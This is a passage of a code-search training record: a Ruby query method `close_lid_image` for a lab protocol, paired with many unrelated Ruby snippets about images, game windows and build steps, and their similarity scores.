\"is_main_image <> 0 AND location_id = #{self.location_id} AND id <> #{self.id}\")\n end\n end", "def draw_item_image\n draw_bg_gradient\n if @obj.rename_image\n draw_rename_image\n elsif $imported[\"YEA-ShopOptions\"] && @obj.image\n draw_shop_options_image\n else\n icon_index = @obj.icon_index\n bitmap = Cache.system(\"Iconset\")\n rect = Rect.new(icon_index % 16 * 24, icon_index / 16 * 24, 24, 24)\n target = Rect.new(0, 0, 96, 96)\n contents.stretch_blt(target, bitmap, rect)\n end\n end", "def image_source=(source)\n if self.lib_image && source == 'lib'\n self.photo = File.open(LibImage.find(self.lib_image).lib_image.path, \"rb\")\n end\n end", "def initialize(window, image, align=0, opacity=255, valign=0, active=true, visible=true)\n super(active, visible)\n self.image = image\n @cImage = CImage.new(window, Rect.new(0, 0, window.width, window.height), \n nil, nil, align, opacity, valign, active, visible)\n end", "def control; tab.image(:name, 'imgControl'); end", "def set_element pic\n controller_name == 'temp_listings' ? get_pixi_image(pic) : get_pixi_image(pic, 'large')\n end", "def new\n @image = Image.new\n end", "def image\n @path\n end", "def add_image( id, image_name, x_position, speed, width, height )\n OSX::NSLog(\"Received image ##{id} (#{image_name})\")\n# image_name = OSX::NSBundle.mainBundle.pathForImageResource( image_name )\n image_name = \"/Users/alpha/src/cyberart/images/#{image_name}.jpg\"\n image = CAImage.new( id, image_name, x_position, speed, width, height )\n @semaphore.synchronize { temp_images = @images.dup }\n temp_images << image\n @semaphore.synchronize { @images = temp_images }\n end", "def lnbSetPicture _args\n \"lnbSetPicture _args;\" \n end", "def update_image_attributes\n if imageable.present?\n self.width, self.height = `identify -format \"%wx%h\" #{url.file.path}`.split(/x/)\n end\n end", "def picture_list\n end", "def imagemagick7?; end", "def set_lcb_image_position\n @lcb_image_position = LcbImagePosition.find(params[:id])\n end", "def photo_format; end", "def draw_image(oled, start_column, start_row, column_count, row_count, image)\n pages = []\n\n # Convert image pixels into 8bit pages\n for row in 0..row_count - 1\n pages[row] = []\n\n for column in 0..column_count - 1\n pages[row][column] = 0\n\n for bit in 0..7\n index = image[column, (row * 8) + bit]\n rgba = image.rgba index\n\n if rgba[0] > 0\n pages[row][column] |= 1 << bit\n end\n end\n end\n end\n\n # Merge page matrix into single page array\n data = []\n\n for row in 0..row_count - 1\n for column in 0..column_count - 1\n data.push pages[row][column]\n end\n end\n\n # Set new window\n oled.new_window start_column, start_column + column_count - 1, \\\n start_row, start_row + row_count - 1\n\n # Write page data in 64 byte blocks\n for i in (0..data.length - 1).step(64)\n block = data[i, 64]\n oled.write block.fill(0, block.length, 64 - block.length)\n end\nend", "def image(file)\n # done writing\n @handle.close\n\n # now write outer file\n kernel = tempfile '-krn-'\n\n mod = false\n IO.foreach(\"#{GAS}/common/kernel.s\") do |line|\n if line =~ /^(\\s+\\.include)\\s+\"kernel.inc\"\\s*/\n # substitute generated kernel for default\n dot_inc = $1\n kernel.puts \"#{dot_inc} \\\"#{@handle.path}\\\"\"\n mod = true\n elsif line =~ /^(\\s+\\.include)\\s+\"pre.inc\"\\s*/\n # add headless before pre.inc\n dot_inc = $1\n if @headless\n kernel.puts \"#{dot_inc} \\\"headless.inc\\\"\"\n end\n kernel.puts line\n elsif line !~ /^\\s*\\.end/\n kernel.puts line\n end\n end\n @vardef.each do |vardef|\n kernel.puts \"#{Indent}.ifndef #{vardef}\"\n kernel.puts \"#{Indent}.set #{vardef}, 0\"\n kernel.puts \"#{Indent}.endif\"\n end\n kernel.puts \"#{Indent}.end\"\n kernel.close\n\n raise \"did not expect kernel.inc in kernel.s\" if !mod\n\n obj = tempfile '-obj-'\n obj.close\n listing = tempfile '-lst-'\n listing.close\n\n inc = \"-I#{GAS} -I#{GAS}/common -I#{MACH}/common -I#{MACH}/#{@submodel} -I#{ROOT}/include\"\n\n as = \"#{@as} -aldm=#{listing.path} -g #{inc} -o #{obj.path} #{kernel.path}\"\n run(as)\n\n ld = \"#{@ld} -g --oformat mmo -o #{file} #{obj.path}\"\n run(ld)\n\n end" ]
[ "0.658728", "0.6332638", "0.6332638", "0.63191813", "0.63191813", "0.62466085", "0.6234033", "0.6117571", "0.61137795", "0.59641474", "0.5951442", "0.59288824", "0.5893418", "0.58625954", "0.58527726", "0.58515096", "0.5824615", "0.5768901", "0.5768901", "0.57505876", "0.57365763", "0.572352", "0.5691301", "0.56863296", "0.56756896", "0.56751806", "0.5663413", "0.5652892", "0.5645454", "0.56376255", "0.5629261", "0.5626012", "0.5612066", "0.55988526", "0.55945706", "0.5570874", "0.5555579", "0.5515227", "0.5508227", "0.5503099", "0.5496479", "0.5485521", "0.54789144", "0.5477133", "0.5477133", "0.54735947", "0.54701394", "0.5468531", "0.5466166", "0.5449802", "0.5440587", "0.5422147", "0.54172623", "0.54126793", "0.53968567", "0.53961545", "0.5384084", "0.5373683", "0.5371911", "0.5364214", "0.5350437", "0.5337504", "0.5313439", "0.5313439", "0.5310407", "0.5303263", "0.53026474", "0.5296836", "0.52954596", "0.52854407", "0.52824575", "0.5276378", "0.52737975", "0.527276", "0.527158", "0.5266848", "0.5266532", "0.5261417", "0.5255498", "0.5245592", "0.5236795", "0.52342165", "0.52336484", "0.5230745", "0.52277803", "0.52276206", "0.5217406", "0.52145165", "0.5208426", "0.5200859", "0.5196832", "0.5194495", "0.5194368", "0.51913196", "0.51831794", "0.5178054", "0.5175691", "0.51751465", "0.5166854", "0.51659334" ]
0.6672793
0
Image for closing the lid
def close_lid_image image_path(image_name: params[:close_lid_image]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def close_image\n @p.close_image(self)\n end", "def unload_image(image_handle)\n end", "def log_out\n @image.each do |row|\n Useditor::Log.ok row.join('')\n end\n end", "def close_lid()\n \"Click the <b>Close Lid</b> button\"\n end", "def close_lid\n 'Click the <b>Close Lid</b> button'\n end", "def close_lid\n 'Click the <b>Close Lid</b> button'\n end", "def unactive\n @unactive.image\n end", "def close_avatar\n @avatar_window.smooth_move(0 - @avatar_window.width, @avatar_window.y)\n @command_window.activate\n update_registration_ready\n end", "def close_graphics\n @p.close_graphics(self)\n end", "def closeOverlay _args\n \"closeOverlay _args;\" \n end", "def delete_image\n\t\t@delete_image ||= \"0\"\n\tend", "def remove_game_icon()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n Native.RunEditor_remove_game_icon(@handle.ptr)\n end", "def undelete_image!(albid, imgid)\n img = image(albid, imgid)\n source, target = _(img[:path]), _(albid, imgid)\n FileUtils.mv(source, target) if img[:deleted]\n img[:deleted]\n end", "def open_lid_image\n image_path(image_name: params[:open_lid_image])\n end", "def closeeye()\n\t\t@pintar = false\n\tend", "def close\r\n command 'close'\r\n end", "def close\r\n command 'close'\r\n end", "def exit_func(state)\n # clear screen\n RaspiGL::GLES.glClear(RaspiGL::GLES::GL_COLOR_BUFFER_BIT)\n RaspiGL::EGL.eglSwapBuffers(state.display, state.surface)\n\n # Release OpenGL resources\n RaspiGL::EGL.eglMakeCurrent(state.display,\n RaspiGL::EGL::EGL_NO_SURFACE,\n RaspiGL::EGL::EGL_NO_SURFACE,\n RaspiGL::EGL::EGL_NO_CONTEXT)\n RaspiGL::EGL.eglDestroySurface(state.display, state.surface)\n RaspiGL::EGL.eglDestroyContext(state.display, state.context)\n RaspiGL::EGL.eglTerminate(state.display)\n\n # release texture buffers\n #free(state.tex_buf1)\n #free(state.tex_buf2)\n #free(state.tex_buf3)\n\n puts(\"\\ncube closed\")\nend", "def toggle_delete_image!(albid, imgid)\n if image(albid, imgid)[:deleted]\n undelete_image!(albid, imgid)\n :undeleted\n else\n delete_image!(albid, imgid)\n :deleted\n end\n end", "def close\n @graphic.ungetch(?q.ord)\n end", "def deregister\n client.deregister_image(:image_id => id)\n nil\n end", "def destroy\n output = \"oneimage delete #{resource[:name]} \", self.class.login\n `#{output}`\n end", "def command_shutdown\n Sound.play_decision\n RPG::BGM.fade(800)\n RPG::BGS.fade(800)\n RPG::ME.fade(800)\n $scene = nil\n end", "def destroy\n @raw_image.destroy\n redirect_to admin_raw_images_path\n end", "def active_remove_icon()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n Native.RunEditor_active_remove_icon(@handle.ptr)\n end", "def close\n File.open(\"#{ GPIO_PATH }/unexport\", \"w\") { |f| f.write(\"#{pin_num}\") }\n end", "def close_fishing_ground(command_attributes)\n @current_resource = @api.get(@current_resource.body.links[:self].href) # aka \"reload\"\n\n fishing_grounds = @current_resource.body.resources[:\"fishing-grounds-available-to-join\"]\n\n # Isn't Frenetic supposed to do this for us???\n fishing_ground_url =\n fishing_grounds.detect { |ground|\n UUIDTools::UUID.parse(ground[\"uuid\"]) == command_attributes.fetch(:uuid)\n }[\"_links\"][\"self\"][\"href\"]\n\n @api.delete(fishing_ground_url)\n end", "def other_side_closed\n room = $manager.find @container\n @open = false\n room.output \"The #{@generic} closes.\"\n end", "def shut_down\n end", "def close\n # NOOP\n end", "def close\n # NOOP\n end", "def delete_image!(albid, imgid) \n img = image(albid, imgid)\n source, target = _(img[:path]), _(albid, 'trash', imgid)\n FileUtils.mv(source, target) unless img[:deleted]\n !img[:deleted]\n end", "def Close\n end", "def Animate_Close(hwnd)\r\n Animate_Open(hwnd, nil)\r\n end", "def destroy_image?\n self.image.clear if @image_delete == \"1\"\n end", "def reboot\n img = ['blue_flower', 'red_flower', 'white_flower', 'pink_flower'].sample\n @image = Gosu::Image.new window, 'images/flowers/' + img +'.png', true\n @drawing = true\n end", "def close_window\n end", "def close\n Highgui.release_capture(FFI::MemoryPointer.new(:pointer).write_pointer(@capture_handler))\n @capture_handler = nil\n end", "def delete_image\n @page.first('span[data-vh-id=\"remove\"]').click\n end", "def image_delete\n @image_delete ||= \"0\"\n end", "def dispose_gameover_graphic\n @sprite.bitmap.dispose\n @sprite.dispose\n end", "def despeckle image\n m_begin \"despeckle\"\n set_variable(image, get_image(image).despeckle)\n m_end \"despeckle\"\n end", "def execImage(img)\n @window = img[1]\n if !img[2]\n\n if @window.child.children[0].child != nil\n @window.child.children[0].remove(@window.child.children[0].child)\n end\n @window.child.children[0].child = (Gtk::Image.new(:file =>img[0]))\n @window.child.children[0].child.show_all\n\n @window.child.children[0].signal_connect(\"button_press_event\"){\n @window.hide\n Gtk.main_quit\n }\n\n @window.show_all\n Gtk.main\n\n else\n Gtk.main_quit\n end\n end", "def destroy_image\n unless self.image_id.blank?\n unless (image = HopeUpdateImage.find(self.image_id)) && image.destroy\n logger.error \"#destroy <HopeUpdateImage># id:#{self.image_id} failure\"\n end\n end\n end", "def icon ; @phase_shift ? 280 : nil ; end", "def closeeye()\n\t\t@opened_eye = false\n\tend", "def close\r\n pop_game_state\r\n end", "def close_lightview_js\r\n \"Lightview.hide();\"\r\n end", "def terminate\n super\n dispose_spriteset\n end", "def destroy\n @sys_image = resource_find(params[:id])\n @username = User.find(@sys_image.user_id).username\n if @sys_image.destroy\n delete_resource(@sys_image, \"ndz\")\n OMF::Workspace.remove_sysimage(@sys_image) \n flash[:success] = t(\"amazing.sys_image.deleted\")\n else\n #flash[:error] = \"Error deleting System image\" \n flash[:error] = t(\"errors.sys_image.updated\")\n end\n\n redirect_to(sys_images_path) \n end", "def destroy_image(action_handler, image_spec, image_options, machine_options={})\n raise \"#{self.class} does not implement destroy_image\"\n end", "def destroy\n @image = Gui::Image.find(params[:id])\n @image.destroy\n redirect_to gui_panels_path\n\n # respond_to do |format|\n # format.html { redirect_to gui_images_url }\n # format.json { head :no_content }\n # end\n end", "def dispose_splashscreen\r\n @sprite.bitmap.dispose\r\n @sprite.dispose\r\n end", "def logout_using_gear_icon\r\n\r\n mouse_over_link('tools-dropdown')\r\n\r\n click_on_alink('logout')\r\n\r\n sleep(2)\r\n\r\n end", "def picture_detach(id)\n pictures[id].pin = false\n end", "def game_icon()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n result = Native.Run_game_icon(@handle.ptr)\n result\n end", "def close\n return if closed?\n\n nocbreak\n close_screen\n end", "def destroy\n request(:delete, \"/computing/image/#{uuid}\")\n true\n end", "def close\n\n # nothing to do here.\n end", "def off\r\n\t@controller.command(@house, @unit, :off, 0)\r\n end", "def close\n tagged_response(\"CLOSE\")\n end", "def destroy\n @image_attrib.destroy\n end", "def command_shutdown\r\n # Play decision SE\r\n $game_system.se_play($data_system.decision_se)\r\n # Fade out BGM, BGS, and ME\r\n Audio.bgm_fade(800)\r\n Audio.bgs_fade(800)\r\n Audio.me_fade(800)\r\n # Shutdown\r\n $scene = nil\r\n end", "def open_graph_image\n # logger.debug53 \"gift.open_graph_image: open_graph_image = #{read_attribute(:open_graph_image)} (#{read_attribute(:open_graph_image).class.name})\"\n return nil unless (extended_open_graph_image = read_attribute(:open_graph_image))\n encrypt_remove_pre_and_postfix(extended_open_graph_image, 'open_graph_image', 53)\n end", "def destroy\n @photo = LandPhoto.find(params[:id])\n @photo.destroy\n\n redirect_to(bbs_cpanel_photos_url)\n end", "def delete_image(image_name)\n File.delete(image_name)\n end", "def save(name)\n Highgui.save_image name, @iplimage_struct\n end", "def open_ballot_image imageId, filename, dpi\n self.target_dpi = dpi\n open_image imageId, filename, dpi\n\n# Remove the top white margin by examining bands of pixels along the top until we find the first band that is not\n# (close to) pure white. That is where the timing marks will be. Note that we are not insisting on pure white because\n# there are often smudges and imperfections there.\n#\n current_band_y = 0\n average_whiteness = QuantumRange\n band_pixels = i2p(TopWhiteMarginPeekBand)\n while average_whiteness > (QuantumRange * MarginPeekThreshold).to_int\n average_whiteness = shrink_to_one(imageId, 0, current_band_y, columns(imageId), band_pixels)\n current_band_y += band_pixels\n end\n#\n# Current band now contains timing marks. So back off by two bands and trim the image. (Backing off by one sometimes cuts off the slightest \n# sliver of the timing marks and messes things up.\n#\n current_band_y -= band_pixels * 2\n side_crop :top, :row, imageId, current_band_y\n @upstream.ann_offset(0, current_band_y)\n d_write_image imageId\n end", "def execute\n light.off\n end", "def image_bk(name)\n image = TkPhotoImage.new\n image.file = \"./images/#{name}\"\n label = TkLabel.new(@frame)\n label.image = image\n label.place('height' => image.height, 'width' => image.width,'x' => 290, 'y' => -15)\n end", "def closepath\n call :closepath\n end", "def close\n end", "def close\n end", "def close\n end", "def dispose_maqj_picture\n @maqj_picture_sprite.dispose if @maqj_picture_sprite\n end", "def close_menu\n pending\n perform_action('drag', 20, 0, 10, 10, 10)\n end", "def destroy\n @image = Image.find(params[:id])\n @image.destroy\n redirect_to console_images_path\n end", "def close!\n end", "def close\n \"<body onload='window.close();'/>\"\n end", "def close\n render :text => \"\"\n end", "def close\n # ..\n end", "def end(args = {})\n \n if args[:file]\n file = args[:file]\n else\n if !args[:filename]\n file = \"#{@dir}/#{@name}.gif\"\n else\n file = \"#{@dir}/#{filename}\"\n end\n end\n \n rotate = args[:rotate] || 0\n step = args[:step] || 1\n max_width = args[:max_width] || Lava::DEFAULT_MAX_WIDTH\n max_height = args[:max_height] || Lava::DEFAULT_MAX_HEIGHT\n speed = args[:speed] || Lava::DEFAULT_SPEED\n \n \n rimages = Magick::ImageList.new\n (0 ... samples.count ).step(step).each do |i|\n s = samples[i]\n s.rimage.rotate! rotate\n s.rimage.resize_to_fit!(max_width, max_height)\n rimages << s.rimage\n end\n rimages.ticks_per_second = speed\n rimages.write(file)\n end", "def close\n @rom.close\n 0\n end", "def close_safebox(safebox_guid)\n handle_error { sendsecure_connection.patch(\"api/v2/safeboxes/#{safebox_guid}/close.json\") }\n end", "def close() end", "def close() end", "def close() end", "def close() end", "def close() end", "def close\n end", "def close\n end", "def close\n end", "def close\n end", "def close\n end", "def close\n end", "def close\n end", "def close\n end", "def close\n end", "def destroy\n @image = Image.find(params[:id])\n @image.destroy\n\n\n redirect_to new_flat_image_path(@image.flat)\n\n end", "def gamestop_orders_image\n # unit_test_no_generate: gamestop_orders_image, div.className(create_ats_regex_string(\"ats-gsordersimg\"))\n $tracer.trace(__method__)\n return ToolTag.new(div.className(create_ats_regex_string(\"ats-gsordersimg\")), __method__)\n end" ]
[ "0.69690794", "0.6879279", "0.6075848", "0.59752357", "0.59243983", "0.59243983", "0.5857775", "0.5681803", "0.56230766", "0.5590997", "0.55268186", "0.5516993", "0.549218", "0.548369", "0.5475284", "0.5454886", "0.5454886", "0.54181063", "0.5398258", "0.53867817", "0.53732824", "0.5342407", "0.5316739", "0.5294297", "0.52815545", "0.5278439", "0.52683127", "0.52581525", "0.5251678", "0.5242008", "0.5242008", "0.5228739", "0.522507", "0.52206147", "0.5212655", "0.52093744", "0.5193305", "0.5190653", "0.51891637", "0.5185706", "0.5175708", "0.5168267", "0.5161392", "0.51471317", "0.51453465", "0.51422644", "0.5135736", "0.5135022", "0.51252323", "0.5117073", "0.5115518", "0.51152074", "0.5112755", "0.51074666", "0.5100781", "0.50957465", "0.5090416", "0.5089648", "0.505023", "0.50486463", "0.5048482", "0.50417024", "0.50270075", "0.50266796", "0.50170076", "0.50108886", "0.49883756", "0.49872467", "0.4981311", "0.49780774", "0.49773124", "0.49769887", "0.49769887", "0.49769887", "0.4967984", "0.49616146", "0.49564707", "0.49535233", "0.49534285", "0.495255", "0.4951561", "0.49500853", "0.49468097", "0.4945234", "0.49417457", "0.49417457", "0.49417457", "0.49417457", "0.4938342", "0.4937588", "0.4937588", "0.4937588", "0.4937588", "0.4937588", "0.4937588", "0.4937588", "0.4937588", "0.4937588", "0.4935041", "0.4922764" ]
0.7274951
0
Image for selecting the PCR program template in the software
def setup_program_image image_path(image_name: params[:setup_program_image]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def select_program_template(program:)\n file = program_template_file(program: program)\n \"Choose the program template <b>#{file}</b>\"\n end", "def select_program_template(program:)\n file = program_template_file(program: program)\n \"Choose the program template <b>#{file}</b>\"\n end", "def software_image\n super\n end", "def create_banner_image(color)\n banner_file = \"theme/specktre_#{color}.png\"\n if ! File.file?(banner_file)\n\n puts(\"Building the banner file for #{color}\")\n\n red = (color.to_i(16) >> 16) % 256\n green = (color.to_i(16) >> 8) % 256\n blue = (color.to_i(16) % 256)\n\n start_color = (\n red * 0.9 * 65536 +\n green * 0.9 * 256 +\n blue * 0.9).to_i().to_s(16)\n end_color = (\n [red * 1.05, 255].min.to_i() * 65536 +\n [green * 1.05, 255].min.to_i() * 256 +\n [blue * 1.05, 255].min.to_i()).to_s(16)\n\n if !system(\"specktre new --size=3000x250 --start=#{start_color} --end=#{end_color} --squares --name=#{banner_file}\")\n raise RuntimeError, \"Error running the Specktre process for #{color}!\"\n end\n\n if !system(\"optipng #{banner_file}\")\n raise RuntimeError, \"Error running optipng on #{banner_file}\"\n end\n end\nend", "def pn\n format(IMAGE_PN, index + 1, extname)\n end", "def graphic\n\n\t\topt = resource[:graphics]\n\t\tcase opt\n\t\t\twhen :enable || nil then args = [\"--vnc\"]\n\t\t\twhen :disable then args = [\"--nographics\"]\n\t\t\telse args = [\"--vncport=\" + opt.split(':')[1]]\n\t\tend\n\t\targs\n\n end", "def run_qpcr(outname, ops, program, test_str, stamp_columns)\n coll = ops.first.output(outname).collection\n\n display_plate = display_plate(outname, ops, stamp_columns)\n stub = upload_stub(program, test_str)\n\n show do\n title \"Place #{test_str} stripwells in qPCR machine\"\n check \"Open #{SOFTWARE} on qPCR computer and make sure the qPCR is not running\"\n note \"Open lid\"\n note \"Place the <b>#{coll}-#{test_str}</b> stripwells in the block in the following order\"\n table display_plate\n note \"Close lid\"\n end\n\n show do\n title \"Program Setup: #{stub}\"\n check \"Open #{SOFTWARE} if not already open\"\n check \"Choose <b>File->Open->Protocol</b>\"\n if stub == \"qPCR1_REAL\"\n check \"Navigate to <b>#{PROG_DIR}</b> and select <b>NGS_qPCR1_2.prcl</b>\"\n else \n check \"Navigate to <b>#{PROG_DIR}</b> and select <b>#{program.name}</b>\"\n end\n note \"Your program should have the following steps. If not, notify a lab manager.\"\n table program.table\n check \"Set the <b>Sample Volume</b> to <b>#{program.volume}</b>\"\n check \"Press <b>OK</b> (in the #{SOFTWARE})\"\n end\n\n show do\n title \"Plate Setup: #{stub}\"\n check \"Press <b>Next</b>. You are now on the <b>Plate</b> tab. Press <b>Select Existing</b>.\"\n check \"Navigate to <b>#{PROG_DIR}</b>. Choose <b>#{program.plate}</b> and press <b>Open</b>.\"\n check \"Press <b>Edit Selected</b>. Make sure the occupied wells match the table below:\"\n table display_plate\n check \"Make sure <b>SYBR</b> is checked for all wells in the table\"\n check \"Press <b>OK</b> (n the #{SOFTWARE})\"\n end\n\n data = show do\n title \"Run: #{stub}\"\n check \"Press <b>Next</b>. You are now on the <b>Start Run</b> tab.\"\n check \"Press <b>Start Run</b>\"\n note \"Copy the auto-generated filename for the run and paste it below:\"\n get \"text\", var: :name, label: \"file name\", default: \"filename#{PCRD_SUFFIX}\"\n if(test_str == TEST)\n check \"Proceed immediately to the next step while you are waiting for the qPCR <b>#{test_str}</b> run to finish\"\n end\n end\n\n ops.first.plan.associate \"#{upload_stub(program, test_str)}_name\", data[:name]\n\n if(test_str == REAL) # display stop cycle\n stop_cycle = ops.first.output(outname).collection.get(\"stop_cycle\")\n\n if stop_cycle.present?\n msg = \"The qPCR samples each require a different number of cycles.\"\n msg += \" To acheive this without disrupting the run, you will press\"\n msg += \" on the <b>Pause</b> software button at the <b>end</b> of the\"\n msg += \" elongation step at each of the cycles:\"\n msg += \" <b>#{stop_cycle.flatten.uniq.select!{|i| i>0}.sort.to_sentence}</b>\"\n msg += \" and remove the relevant sample(s), as indicated in the following table:\"\n\n show do\n title \"Stop at Cycle\"\n note msg\n table display_stop_cycles(outname, ops, stamp_columns)\n end\n else # this should not happen!\n raise \"No stop cycle info found.\"\n end\n end\n\n end", "def cfs_kit_launch_tutorial_screen\n\n tutorial_scr_file = \"#{Osk::SCR_DIR}/#{Osk::TUTORIAL_SCR_FILE}\"\n\n scr_tutorial_dir = File.open(tutorial_scr_file) {|f| f.readline}\n\n if scr_tutorial_dir.index(Osk::SCR_DIR).nil? \n cfs_kit_create_tutorial_screen\n end\n \n display(\"CFS_KIT #{File.basename(Osk::TUTORIAL_SCR_FILE,'.txt')}\",500,50)\n \nend", "def show_image_version\n if @options[\"mode\"] == \"himage\"\n tpl = @himage_tpl\n elsif @options[\"mode\"] == \"vimage\"\n tpl = @vimage_tpl\n else \n raise \"invalid template name\" + @options[\"mode\"]\n end\n calc_weather_icon\n calc_wind_icon\n parse_radar unless @options[\"radar_location\"].empty?\n erb = ERB.new(File.read(tpl), 0, '>')\n @conky_output = erb.result(binding)\n puts @conky_output\n end", "def cntrl_settg; det.image(:id, 'imgCtrlSettings'); end", "def manifest\n anno = IIIF::Presentation::Annotation.new('on' => path)\n anno.resource = create_resource\n canvas.images << anno\n canvas.other_content = [annotations]\n manifest = IIIF::Presentation::Manifest.new(\n '@id' => path,\n 'label' => \"Histonets - Collection Template #{id}\"\n )\n sequence.canvases << canvas\n manifest.sequences << sequence\n manifest\n end", "def cfs_kit_launch_tutorial_screen\r\n\r\n tutorial_scr_file = \"#{Osk::SCR_DIR}/#{Osk::TUTORIAL_SCR_FILE}\"\r\n\r\n scr_tutorial_dir = File.open(tutorial_scr_file) {|f| f.readline}\r\n\r\n if scr_tutorial_dir.index(Osk::SCR_DIR).nil? \r\n cfs_kit_create_tutorial_screen\r\n end\r\n \r\n display(\"CFS_KIT #{File.basename(Osk::TUTORIAL_SCR_FILE,'.txt')}\",500,50)\r\n \r\nend", "def make\n Paperclip.log(\"*********** Product is custom! Compositing...\")\n nameImg = createText(productName, \"36\", \"\")\n\n # next create the description text image\n descImg = createText(productDescription, \"18\", \"400x\")\n\n # next create the blend text image\n blendImg = createText(productBlend, \"36\", \"\")\n\n # now composite name text onto template\n dst = compositeFiles(nameImg, label_image_remote_url.blank? ? label_template_path : file , \"410x50!+20+20\")\n\n # now composite blend text onto comp\n dst = compositeFiles(blendImg, dst, \"405x25!+25+525\")\n\n # now composite the description onto the dst\n dst = compositeFiles(descImg, dst, \"400x93!+25+433\")\n\n # now composite the image onto the label\n if label_image_remote_url.blank?\n dst = compositeFiles(file, dst, \"411x314!+21+86\")\n end\n\n if generate_tin_image\n dst = compositeFiles(dst, tin_path, \"249x327!+176+104\")\n dst = compositeFiles(tin_fade_path, dst, \"600x600!+0+0\")\n end\n\n dst\n end", "def image(file)\n entry = @defn[@latest.name]\n endian = @vm.bigendian ? \"be\" : \"le\"\n init_user(entry)\n File.open(file, 'w') do |f|\n f.puts \"// vmimage #{endian}#{@vm.databits}\"\n @vm.dump(0, @vm.dot, true) do |s|\n f.puts s\n end\n end\n end", "def main\n\n operations.make\n \n operations.each {|op|\n new_experimental_plt = op.output(OUTPUT).collection\n note = op.input(NOTE).val.to_s\n if note != '' || note != nil || note != ' '\n note_entered = true\n key = 'Note'\n Item.find(new_experimental_plt.id).associate key.to_sym, note\n end\n show {\n title \"New Experimental Plate Created\"\n separator\n note \"Output Item: <b>#{new_experimental_plt}</b>\"\n bullet \"Output Object Type: <b>#{new_experimental_plt.object_type.name}</b>\"\n (note_entered) ? (bullet \"Note: <b>#{note}</b>\") : nil\n }\n }\n \n return {}\n \n end", "def program_template_file(program:)\n template_file(\n template_name: program.program_template_name,\n extension: :PROGRAM_EXT\n )\n end", "def use_technology_preview; end", "def puppet_resource_cmd\n UtilityLib::PUPPET_BINPATH + 'resource cisco_X__RESOURCE_NAME__X'\nend", "def setup_plate_layout_image\n image_path(image_name: params[:setup_plate_layout_image])\n end", "def precompile\n str = \"picture \" + @name + \";\\n\"\n @draw_commands.each do |d| \n str = str + d.compile + \"\\n\"\n end\n str = str + @name + \" := currentpicture; currentpicture := \" + @@org_picture + \";\\n\"\n end", "def get_os_tpl(term)\n filters = []\n filters << { name: 'image-type', values: ['machine'] }\n filters << { name: 'image-id', values: [term] }\n\n Backends::Ec2::Helpers::AwsConnectHelper.rescue_aws_service(@logger) do\n ec2_images = @ec2_client.describe_images(filters: filters).images\n (ec2_images && ec2_images.first) ? mixin_from_image(ec2_images.first) : nil\n end\n end", "def image(path,options={})\n set RGhost::Image.for(path,options)\n end", "def pr_intro\n show do\n title \"Plate Reader Measurements\"\n \n note \"This protocol will instruct you on how to take measurements on the BioTek Plate Reader.\"\n note \"ODs are a quick and easy way to measure the growth rate of your culture.\"\n note \"GFP measurements help researchers assess a response to a biological condition <i>in vivo</i>.\"\n note \"<b>1.</b> Transfer culture to plate reader plate and add blank.\"\n note \"<b>2.</b> Setup plate reader workspace.\"\n note \"<b>3.</b> Take measurement, save data, & upload.\"\n end\n end", "def code\n # Short circuit is this isn't a Command Paper.\n return \"#{source} #{session} (#{paper_no}) #{vol} #{start_page}\" if source != 'CMD'\n\n # Paper number prefixes are different for sessions.\n prefix = case session[0..3].to_i\n when 1000..1869 then ''\n when 1870..1899 then 'C.'\n when 1900..1919 then 'Cd.'\n else 'Cmd.'\n end\n \n \"HC #{session} [#{prefix}#{paper_no}] #{vol} #{start_page}\"\n end", "def rit_plate!(layout_name, instance_name, plate_name)\n Rit::Plate.get(layout_name, instance_name, plate_name, session[:preview_time])\n end", "def resourceType\n 'VisionPrescription'\n end", "def cntrl_cmnd; det.image(:id, 'imgCtrlCommands'); end", "def parafilm_plates\n show do \n title \"Label and Parafilm\"\n \n plates_to_parafilm = operations.reject { |op| op.temporary[:delete] || !op.temporary[:valid_params?] }.map { |op| op.input(\"Plate\").item.id }\n note \"Perform the steps with the following plates: #{plates_to_parafilm}\"\n check \"Label the plates with their item ID numbers on the side, and parafilm each one.\"\n check \"Labelling the plates on the side makes it easier to retrieve them from the fridge.\"\n end\n end", "def prescreen_header_label\n # unit_test_no_generate: prescreen_header_label, img.className(create_ats_regex_string(\"ats-prescreenhdrlbl\"))\n $tracer.trace(__method__)\n return ToolTag.new(img.className(create_ats_regex_string(\"ats-prescreenhdrlbl\")), __method__)\n end", "def gen_prj\n filename = \"#{@work_dir}/#{@module_name}.prj\"\n printf(\"@I:Generate Prj File(%s)\\n\",filename)\n f = File.open(\"#{filename}\",\"w\")\n tmp = Array.new\n tmp << @file_name\n tmp.uniq!\n tmp.each{|file|\n f.printf(\"verilog work \\\"%s\\\"\\n\",file)\n }\n f.close\n end", "def rna_prep_steps(working_plate)\n show do\n title 'Run RNA-Prep'\n note \"Run typical RNA-Prep Protocol with RNA plate #{working_plate.id}\n and adapter plate #{working_plate.get(ADAPTER_KEY).class}\"\n table highlight_non_empty(working_plate, check: false)\n end\n end", "def generarImagen()\n\t\tFile.open(@programa+'.pbm', 'w') do |f2|\n\t\t\tf2.puts \"P1\"\n\t\t\tf2.puts \"#{@tam_ancho} #{@tam_alto}\"\n \t\t\t@tam_alto.times do |i|\n \t\t\t\ts = \"\"\n\t\t\t\t@tam_ancho.times do |j|\n\t\t\t\t\ts << @plano[i][j].to_s + \" \"\n\t\t\t\tend\n\t\t\t\tf2.puts s\n\t\t\tend\n\t\tend\n\tend", "def thumbnail\n \"template_\" + self.template.stylesheets + \".png\"\n end", "def Com4\n @type = \"Picture\"\n @name = \"\"\n @x = 0\n @y = 0\n @commande_window.hide\n @window_command_command = Window_CommandTextSelect.new(@name,@x,@y)\n @window_command_command.set_handler(:CT1, method(:ComPict1))\n @window_command_command.set_handler(:CT2, method(:ComPict2))\n @window_command_command.set_handler(:CT3, method(:ComPict3))\n @window_command_command.set_handler(:cancel, method(:ComPict4))\n @window_command_command.activate\n end", "def select_layout_template(program:)\n file = layout_template_file(program: program)\n \"Choose the layout template <b>#{file}</b>\"\n end", "def select_layout_template(program:)\n file = layout_template_file(program: program)\n \"Choose the layout template <b>#{file}</b>\"\n end", "def generate_wd_images rname=nil\n return {} unless rname\n \n start_time = Time.now\n \n @selected_room_name = rname\n @room_name = @selected_room_name.gsub('#', '_')\n # rinfo 